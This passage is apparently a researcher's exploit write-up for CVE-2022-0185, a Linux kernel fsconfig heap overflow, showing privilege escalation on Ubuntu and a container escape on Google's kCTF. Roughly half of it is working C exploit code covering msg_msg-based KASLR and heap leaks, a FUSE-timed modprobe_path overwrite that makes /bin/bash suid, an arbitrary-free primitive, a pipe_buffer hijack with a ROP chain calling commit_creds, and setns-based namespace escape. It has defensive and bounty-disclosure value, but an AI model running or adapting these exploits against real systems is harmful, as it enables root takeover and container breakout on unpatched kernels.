Our original POC’s goal was to achieve LPE on Ubuntu, preferably 20.04 which is probably the most popular? version in use currently. The exact kernel we targeted was of version 5.11.0-44. As with most distro kernels, there are a ton of hardening options compiled in, like slab randomization, slab hardening, usercopy hardening, etc. I’ve discussed a lot about some common kernel hardening measures in previous kernel exploitation posts. And of course since these are modern systems, SMAP, SMEP, KASLR, and KPTI will be turned on. Being distro images, there are also some options that are required for general use that will work to our advantage for exploitation, such as CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC, and CONFIG_USERFAULTFD.

What primitives do we have with this bug? Only a heap overflow. I wonder if there’s anything I can do with this to escalate privileges… heap overflow in a 4k slab. This past summer, D3v17 and I teamed up and wrote a series of articles and challenges focused on abusing the msg_msg structures for OOB read, arb read, and arb write; please take a read at these before I continue as I will be writing with the assumption that the reader has this prerequisite knowledge: part 1, part 2. Our first challenge and article specifically dealt with a 0x30 byte UAF at the very beginning of the msg_msg structure in the 4k slab, so a heap overflow in the 4k slab would fit this scenario perfectly. With all but one exception, the exact same strategy from our Fire of Salvation kernel challenge can be repeated here.

Before I continue, I would like to make a note about exploit stability. Interestingly enough, it seems that newer Linux kernel exploit mitigations actually contributed to the stability of the exploit we had on Ubuntu. As you will see later on in our exploit, we never did a lot of spraying besides some initial sprays to clean up the slabs and forcing cpu affinity on one core since each core has their own freelist. Wouldn’t it make sense for slab randomization combined with a string based heap overflow to cause many crashes for systems with SLUB freelist allocators?

Well, yes if the freelist pointer was at the beginning of each chunk; our attempts at exploiting these versions of the kernel required a lot more work related to spraying and never achieved a success rate better than 50% (although due to instability issues on the Google Kubernetes’s infrastructure, I had to redevelop the spray even for newer kernel versions that should alleviate this corruption problem). Since 5.7, Linux kernel developers decided to move the freelist pointer to the middle to avoid overflows corrupting the kernel heap state. This means that as long as my overflow doesn’t corrupt some very important object, I can keep overflowing the first 0x30 bytes (which is all that matters for abusing msg_msg) and never corrupt the heap state in the 4k pages - this makes it pretty easy to try to leak memory or perform an arbitrary write on repeat as we can get a fresh legacy data allocation with every new fd we create with fsopen. Thanks mitigations!

To obtain a KASLR leak on general Linux distributions (again, if anything here sounds confusing, refer to the articles from D3v17 and me), we just need our legacy data chunk to be allocated right on top of a 4k msg_msg chunk chained with a kmalloc-32 msg_msgseg chunk. We can use our overflow to adjust the msg_msg size parameter and make it larger, and then use MSG_COPY to achieve an OOB leak. If we spray many seq_operations structure using the classic open(“/proc/self/stat”, O_RDONLY) trick, we will have a high likelihood of an OOB read leaking us the pointers within this structure, which will let us rebase the kernel and bypass KASLR.

Note that since we do not have heap leaks and that usercopy hardening does heap object bounds checking, we have to rely on MSG_COPY, which doesn’t unlink the msg_msg from its msg_queue (which would then utilize the linked list pointers in the first 0x10 bytes of msg_msg objects) and uses memcpy to transfer data to a new msg_msg structure before usercopying back.

This following snippet of code should accomplish a KASLR leak:

uint64_t do_leak () { uint64_t kbase = 0; char pat[0x1000] = {0}; char buffer[0x2000] = {0}, recieved[0x2000] = {0}; int targets[0x10] = {0}; msg *message = (msg *)buffer; int size = 0x1018; // spray msg_msg for (int i = 0; i < 8; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } memset(pat, 0x42, sizeof(pat)); pat[sizeof(pat)-1] = '\x00'; puts("[*] Opening ext4 filesystem"); fd = fsopen("ext4", 0); if (fd < 0) { puts("fsopen: Remember to unshare"); exit(-1); } strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } // overflow, hopefully causes an OOB read on a potential msg_msg object below puts("[*] Overflowing..."); pat[21] = '\x00'; char evil[] = "\x60\x10"; fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); // spray more msg_msg for (int i = 8; i < 0x10; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[*] Done heap overflow"); puts("[*] Spraying kmalloc-32"); for (int i = 0; i < 100; i++) { open("/proc/self/stat", O_RDONLY); } size = 0x1060; puts("[*] Attempting to recieve corrupted size and leak data"); // go through all targets qids and check if we hopefully get a leak for (int j = 0; j < 0x10; j++) { get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); kbase = do_check_leak(recieved); if (kbase) { close(fd); return kbase; } } puts("[X] No leaks, trying again"); return 0; }

Now, we can perform the same arbitrary write technique D3v17 and I created. When you trigger the allocation of msg_msg and make a requested size require larger than 4096, we need to hang the usercopy when it copies to the first msg_msg chunk but before it traverses and usercopies to the msg_msgseg chunk. Previously, we did it with userfaultfd, but since unprivileged userfaultfd is disabled by default since 5.11, how can we reliably race this?

I went through this slideshow and the FUSE technique caught my attention. The gist of it is that in Linux, users can communicate with /dev/fuse to create their own custom filesystem in userspace. You can create your own files in this userspace filesystem, map them in memory with mmap, have usercopy reach them when copying, and have your custom filesystem read handlers just hang or do anything else you want. Here is our custom FUSE filesystem’s handlers:

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil)); size_t len = 0x1000; if (offset >= len) return size; if (offset + size > len) size = len - offset; memcpy(buf, evil_buffer + offset, size); // sync with the arb write thread read(fuse_pipes[0], &signal, 1); return size; }

There were two difficulties however with this FUSE race technique. Normally, as a normal unprivileged user, you need access to a suid /bin/fusermount binary. Performing the unshare which triggered our own user namespace’s creation would allow us to skip that requirement. Another issue is that a user would require libfuse libraries for libfuse functions to work, as libfuse is notoriously difficult to statically link, as seen here because it specifically relies on dl_open for some extra features. We addressed this by removing all the references to dl_open and rebuilding the library. Static compilation then worked nicely and this technique would work on any system with CONFIG_FUSE enabled regardless of libfuse or fusermount availability.

One last thing with this exploit… where do we target? For the exploit simplicity’s sake, we only targeted modprobe_path (the classic modprobe_path kernel pwning trick) for our Ubuntu LPE exploits. We overwrote it with the path to a script that made /bin/bash suid, and this script will trigger with root privileges whenever anyone attempts to run a binary with an invalid header. Here is our Ubuntu LPE exploit so far:

// msg_msg arb write trick by hanging before msg_msgseg on usercopy // use FUSE to time the race void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); rooter->mtype = 1; size = 0x1010; int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(target, message, size - 0x30, 0); puts("[*] Opening ext4 filesystem"); fd = fsopen("ext4", 0); if (fd < 0) { puts("Opening"); exit(-1); } puts("[*] Overflowing..."); strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } puts("[*] Prepaing fault handlers via FUSE"); int evil_fd = open("evil/evil", O_RDWR); if (evil_fd < 0) { perror("evil fd failed"); exit(-1); } if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000) { perror("mmap fail fuse 1"); exit(-1); } pthread_t thread; int race = pthread_create(&thread, NULL, arb_write, NULL); if(race != 0) { perror("can't setup threads for race"); } send_msg(target, rooter, size - 0x30, 0); pthread_join(thread, NULL); munmap((void *)0x1337000, 0x1000); munmap((void *)0x1338000, 0x1000); close(evil_fd); close(fd); }

You can find the full link to our exploit here: https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_fuse.c; it can be easily adjusted for any kernel versions above 5.7, and the spray will need to be reworked for even older versions. Now with /bin/bash as suid, the exploit will finish. As any low privileged user with access to bash, one can just run it with the -p argument to achieve root privileges! All in all, a really simple (and reliable) exploit using techniques discovered in the CTF world.

Having an Ubuntu LPE is great and all, but what we really wanted to try was the Google kCTF VRP program for their bounty. The money would be great, and an exploit in a hardened environment will be quite useful during CTFs. They offered two challenges: kctf and fullchain. kctf is where you root the container to read the container’s root flag, and fullchain is where you root the container, escape to host, and then read the root flag of another container. Fullchain is the goal.

There were many issues early on. For one, the /dev folder was barebones, so fuse and other favorite kernel exploit structures like tty_struct were unavailable. Userfaultfd was of course be disabled, and the kernel heap in the 4k slab seemed to have had many structures as well (the heap behaved more actively in this container environment in general for the slabs I targeted) - this required better spraying strategies to help with stability.

One more important issue is in regards to the GFP_KERNEL_ACCOUNT flag. Accounting flag is usually reserved for objects with data from userland - famous structures like msg_msg are all allocated with them. Before 5.9, the kernel placed accounted objects in separate slabs, but this only takes affect with the CONFIG_MEMCG_KMEM compilation option… another case of an upgrade making exploits easier.

How does the above issue affect our exploit? Shouldn’t the legacy data allocations also have the accounting flags based on its purpose in documentation? Well, it should, but it seems like kernel developers forgot about this until a recent commit for 5.16. This means that msg_msg would not be able to be abused on the kctf infrastructure Google hosted, which was on 5.4, and we would have to look for a new structure, either through a lot of source reading or CodeQL. We were lucky as it was around this time that an update for kctf was almost complete where Kubernetes running on a 5.10 kernel would be available (hence the creation of kctf.vrp2.ctfcompetition.com), so we just ended up targeting this one to save time.

Note that Starlabs managed to get it on the older kctf instance. I asked n0psledbyte afterwards about their approach - they managed to abuse msg_msg too by performing a cross cache overflow, an interesting concept I’ve never really thought about. grsecurity has an article related to this strategy and I am curious how much spraying is required to achieve an acceptable reliability rate.

With limited abilities to control a race, we can’t exactly use msg_msg for arbitrary write. Our thoughts at this point were to either rely on the unlink primitive or arbitrary free primitive that msg_msg provides. Our end goal was to replace the pipe_buffer pointer to a function table with a pointer to some other arbitrary msg_msg chunk, for us to gain ROP control. Thanks to articles from Andy Nguyen and bsauce for providing me with the pipe_buffer idea!

Before I discuss unlink or the arbitrary free primitive, I need to first discuss the heap spraying technique I used here to help with slab randomization on top of a busier heap, and the mechanism to which I achieved a heap leak.

A chat with D3v17 and this article were pretty helpful for planning out the spray. As mentioned previously, the first thing I did was to force cpu affinity on one core, as each cpu has its own freelists. Some other tricks I did (I’m not sure if they actually do help as it might just be placebo, but when testing, they definitely increased exploit reliability) were the following - a lot of the spray related constants I used in the final exploit was specifically targeted towards the Kubernetes infrastructure:

  1. Pre-allocate a ton of chunks beforehand using msg_msg sprays. Then, after each stage of the exploit, or when trying to repeat a stage, I would trigger some of them to be freed. Hopefully, this covers up some of the corruption and prevents crashes on future allocations. All of these saved chunks would be dumped as well before triggering a root shell as a final “cleanup.”

  2. Before performing overflows into msg_msg objects from fsconfig, I would allocate anywhere from 4 to 7 msg_msg objects (as there are only 8 objects in a kmalloc-4k slab). I would then trigger a MSG_COPY on one of them, which would force an allocation and free in the same slab in the copy process. Hopefully, this would create a hole in the slab, and my next allocation of the legacy data region will go right on top of a msg_msg object.

With this spray mechanism, I managed to easily achieve kernel leaks and heap leaks. For my heap leaks, I used that fact that each msg_queue connects their msg_msg objects together in a doubly linked list. If you allocate a kmalloc-64 msg_msg object between a kmalloc-512 object and a kmalloc-1k object in one queue, and allocate a kmalloc-4k msg_msg chained to a kmalloc-64 msg_msgseg object in another queue, you can abuse OOB read to leak out the kmalloc-512 and kmalloc-1k object addresses. Using kmalloc-512 isn’t necessarily required, it’s just what I chose and I didn’t bother changing it afterwards. The diagram below should help clarify this stage.

Heap Setup:


 Overflow into m_ts (size) to achieve OOB read on MSG_COPY:


You can also figure out which msg_queue those leaked addresses belonged to based on the contents in msg_msg data, so you can seletively free them and rely on LIFO to place objects there in advance. I replaced the kmalloc-1k one with a pipe_buffer object while kmalloc-512 already had stack pivot gadgets ready.

The following snippet code should lead to a heap leak: 

double_heap_leaks do_heap_leaks() { uint64_t kmalloc_1024 = 0; uint64_t kmalloc_512 = 0; char pivot_spray[0x2000] = {0}; uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray; double_heap_leaks leaks = {0}; int linked_msg[256] = {0}; char pat[0x1000] = {0}; char buffer[0x2000] = {0}, recieved[0x2000] = {0}; msg *message = (msg *)buffer; // spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queues for (int i = 0; i < 255; i++) { linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); memset(pivot_spray, 0x0, sizeof(pivot_spray)); pivot_spray_ptr[0] = 1; for (int i = 0; i < 10;i ++) { pivot_spray_ptr[i+1] = stack_pivot; } // spray pivots using kmalloc-512 allocations send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0); memset(buffer, 0x1+i, sizeof(buffer)); message->mtype = 2; send_msg(linked_msg[i], message, 0x40 - 0x30, 0); message->mtype = 3; send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0); } int size = 0x1038; int targets[H_SPRAY] = {0}; for (int i = 0; i < H_SPRAY; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } // create hole hopefully get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); puts("[*] Opening ext4 filesystem"); fd = fsopen("ext4", 0); if (fd < 0) { puts("fsopen: Remember to unshare"); exit(-1); } strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } // fill it a bit to help prevent potential crashes on MSG_COPY stuff_4k(16); puts("[*] Overflowing..."); pat[21] = '\x00'; char evil[] = "\x60\x19"; fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[*] Done heap overflow"); size = 0x1960; puts("[*] Receiving corrupted size and leak data"); // go through all targets qids and check if we hopefully get a leak for (int i = 0; i < H_SPRAY; i++) { get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++) { uint64_t *dump = (uint64_t *)recieved; if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5]) { kmalloc_1024 = dump[j-2]; kmalloc_512 = dump[j-1]; // delete chunk 1024, chunk 512 already has sprayed pivots uint8_t target_idx = (dump[j+4] & 0xff) - 1; get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR); // spray to replace with pipe_buffer, thanks LIFO! for (int k = 0; k < PIPES; k++) { if (pipe(pipefd[k]) < 0) { perror("pipe failed"); exit(-1); } write(pipefd[k][1], "pwnage", 7); } break; } } if (kmalloc_1024 != 0) { break; } } close(fd); if (!kmalloc_1024) { puts("[X] No leaks, trying again"); stuff_4k(16); return leaks; } leaks.kmalloc_1024_leak = kmalloc_1024; leaks.kmalloc_512_leak = kmalloc_512; return leaks; }

With this information, we can attempt to gain control of the pipe_buffer ops table pointer.

As I mentioned earlier, my first approach was to perform an unlink attack. In do_msgrcv, the unlink operation occurs when MSG_COPY is not specified. When this occurs, the big picture of what occurs is victim->prev->next = victim->next and victim->next->prev = victim->prev. If you set up victim->prev to the location of the ops table pointer, and set victim->next to an address in your kmalloc-512 msg_msg data buffer, you should be able to change the ops table pointer to point to your malicious msg buffer. Basically a classic unlink attack as the diagram below shows:


Unfortunately, CONFIG_DEBUG_LIST was enabled. In this case, linked list unlink performs a validity check with this function. Upon failure, it just doesn’t unlink (but the frees still happen and the original pointers get set to the kernel POISON constants).

bool __list_del_entry_valid(struct list_head *entry) { struct list_head *prev, *next; prev = entry->prev; next = entry->next; if (CHECK_DATA_CORRUPTION(next == LIST_POISON1, "list_del corruption, %px->next is LIST_POISON1 (%px)\n", entry, LIST_POISON1) || CHECK_DATA_CORRUPTION(prev == LIST_POISON2, "list_del corruption, %px->prev is LIST_POISON2 (%px)\n", entry, LIST_POISON2) || CHECK_DATA_CORRUPTION(prev->next != entry, "list_del corruption. prev->next should be %px, but was %px\n", entry, prev->next) || CHECK_DATA_CORRUPTION(next->prev != entry, "list_del corruption. next->prev should be %px, but was %px\n", entry, next->prev)) return false; return true; }

Glibc heap pwners are all well too familiar with this type of check…

Since we have heap leaks, we can overwrite the linked lists so they can still dereference upon unlink (even if unlink fails) and then overwrite the next pointers and security pointers to build an arbitrary free primitive when chained with do_msgrcv. As the payload must also be valid strings, we can only do unaligned frees given the slab heap leaks we have. My plan is to just ignore whatever we freed in kmalloc-512 (so I will write a misaligned address for the security pointer), and free the address at our kmalloc-1k chunk at an offset of -0x20. Now, if we manage to allocate a 1k sized msg_msg over this last freed spot, we can safely copy in controlled userdata to overwrite the ops pointer to point to an address holding our stack pivot gadget, while also not triggering hardened usercopy bounds checks.

The following diagrams should clarify the above strategy.

The corrupted 4k msg_msg should create this heap scenario:


 Then, freeing the 4k msg_msg and spraying some 1k msg_msg to hopefully overlap with the target pipe_buffer:


Closing the target pipefd with close should trigger one of your stack pivots due to the overwritten ops table pointer (the release function to be specific). At this point, we noticed that none of the registers actually pointed to somewhere in kmalloc-512, but all the known addresses registers like rax pointed to were at the start of the pipe_buffer chunk. This means that the 1k msg_msg chunk we used to overwrite the pipe_buffer will also need to contain the ROP chain, and our stack pivot needs to replace rsp with rax.

Scanning for nice gadgets, I came to use the following:

stack pivot: mov rsp, rax ; pop rbp ; ret;

set rdi: pop rdi ; ret ;

set rsi: pop rsi ; ret ;

set rdi from rax: test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;

The goal of our ROP chain was ultimately to become root in the root namespace. I borrowed Andy Nguyen’s ROP chain strategy to commit_cred(prepare_kernel_cred(NULL)) and switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) to achieve that goal. After performing those operations, I relied on the kpti trampoline from swapgs_and_return_to_userspace to successfully and gracefully return back to userland. All that we need to fully escape now is to do the classic setns tricks in container breakouts.

The following snippet of code shows what I did to achieve privilege escalation and containerization escape:

void dump_flag() { char buf[200] = {0}; for (int i = 0; i < 4194304; i++) { // bruteforce root namespace pid equivalent of the other container's sleep process snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i); int fd = open(buf, O_RDONLY); if (fd < 0) { continue; } puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲"); read(fd, buf, 100); write(1, buf, 100); puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲"); close(fd); } return; } __attribute__((naked)) win() { // thanks movaps sooooooo much asm volatile( "mov rbp, rsp;" "and rsp, -0xf;" "call dump_flag;" "mov rsp, rbp;" "ret;"); } void pwned() { write(1, "ROOOOOOOOOOOT\n", 14); setns(open("/proc/1/ns/mnt", O_RDONLY), 0); setns(open("/proc/1/ns/pid", O_RDONLY), 0); setns(open("/proc/1/ns/net", O_RDONLY), 0); win(); char *args[] = {"/bin/sh", NULL}; execve("/bin/sh", args, NULL); _exit(0); } void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024) { int size = 0x1000; int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); char buffer[0x2000] = {0}, recieved[0x2000] = {0}; char pat[0x40] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); int ready = 0; int ignition_target = -1; // doesn't matter as long as valid pointers uint64_t next_target = kmalloc_1024 + 0x440; uint64_t prev_target = kmalloc_512 + 0x440; // set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg uint64_t free_target = kmalloc_1024 - 0x20; uint64_t make_sec_happy = kmalloc_512 - 0x20; stuff_4k(16); int targets[P_SPRAY] = {0}; while (!ready) { for (int i = 0; i < P_SPRAY; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); // misaligned arb free attack fd = fsopen("ext4", 0); if (fd < 0) { puts("Opening"); exit(-1); } strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } puts("[*] Done heap overflow"); char evil[0x40] = {0}; uint64_t *evil_ptr = (uint64_t *)evil; memset(evil, 0x41, 0x30); evil_ptr[0] = next_target; evil_ptr[1] = prev_target; evil_ptr[4] = free_target; evil_ptr[5] = make_sec_happy; // in case null bytes in addresses if(strlen(evil) != 0x30) { puts("unable to continue given heap addresses"); exit(-1); } puts("[*] Overflowing..."); fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0); puts("check heap to check preparedness for ignition"); stuff_4k(16); for (int i = 0; i < P_SPRAY; i++) { memset(recieved, 0, sizeof(recieved)); // rely on error code to determine if we have found our target which we overflowed into int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0) { ready = 1; ignition_target = i; break; } } if (!ready) { puts("nothing ready for ignition, trying again"); // re-stuff freelist and stabilize stuff_4k(16); } } char overwrite[0x300] = {0}; memset(overwrite, 0x41, sizeof(overwrite)); uint64_t *overwrite_ptr = (uint64_t *)overwrite; // redirect to "table" of stack pivots overwrite_ptr[1] = kmalloc_512 + 0x50; uint64_t user_rflags, user_cs, user_ss, user_sp; asm volatile( "mov %0, %%cs\n" "mov %1, %%ss\n" "mov %2, %%rsp\n" "pushfq\n" "pop %3\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) ); uint64_t chain[] = { pop_rdi, 0, prepare_kernel_cred, pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef, commit_creds, pop_rdi, 1, find_task_by_vpid, pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef, pop_rsi, init_nsproxy, switch_task_namespaces, kpti_trampoline, 0xdeadbeef, 0xbaadf00d, (uint64_t)pwned, user_cs, user_rflags, user_sp & 0xffffffffffffff00, user_ss, }; memcpy(&overwrite_ptr[2], chain, sizeof(chain)); for (int i = 0; i < P_SPRAY; i++) { get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR); } // spray rop chain plus evil vtable ptr to overlap with pipe_buffer for (int i = 0; i < ROP_SPRAY; i++) { send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0); } deplete_512(); deplete_4k(); puts("[*] Attempt at igniting ROP!"); // trigger for (int i = 0; i < PIPES; i++) { close(pipefd[i][0]); close(pipefd[i][1]); } }

To find the other container’s flag, I just bruteforced /proc/pid/root/flag/flag as the container’s pid will map to some other pid accessible from the root pid namespace. You can also just work with a root shell, but this is just more efficient for getting the flag. Google’s Kubernetes CTF infrastructure compromised! You can find the link to our final exploit here: https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c.

All in all this was a really cool experience, finding a 0 day for the first time on a major project and exploiting it. I’d like to thank all the teammates I worked with above for our collaborative effort. I would also like to thank the security teams from both distros and Linux for being super responsive upon our disclosure, and Google for the generous reward. Feel free to ask me any questions about this writeup, or point out anything that is explained erroneously! Let’s see what other bugs my team and I can find this year, and hopefully we don’t hit another bug collision again.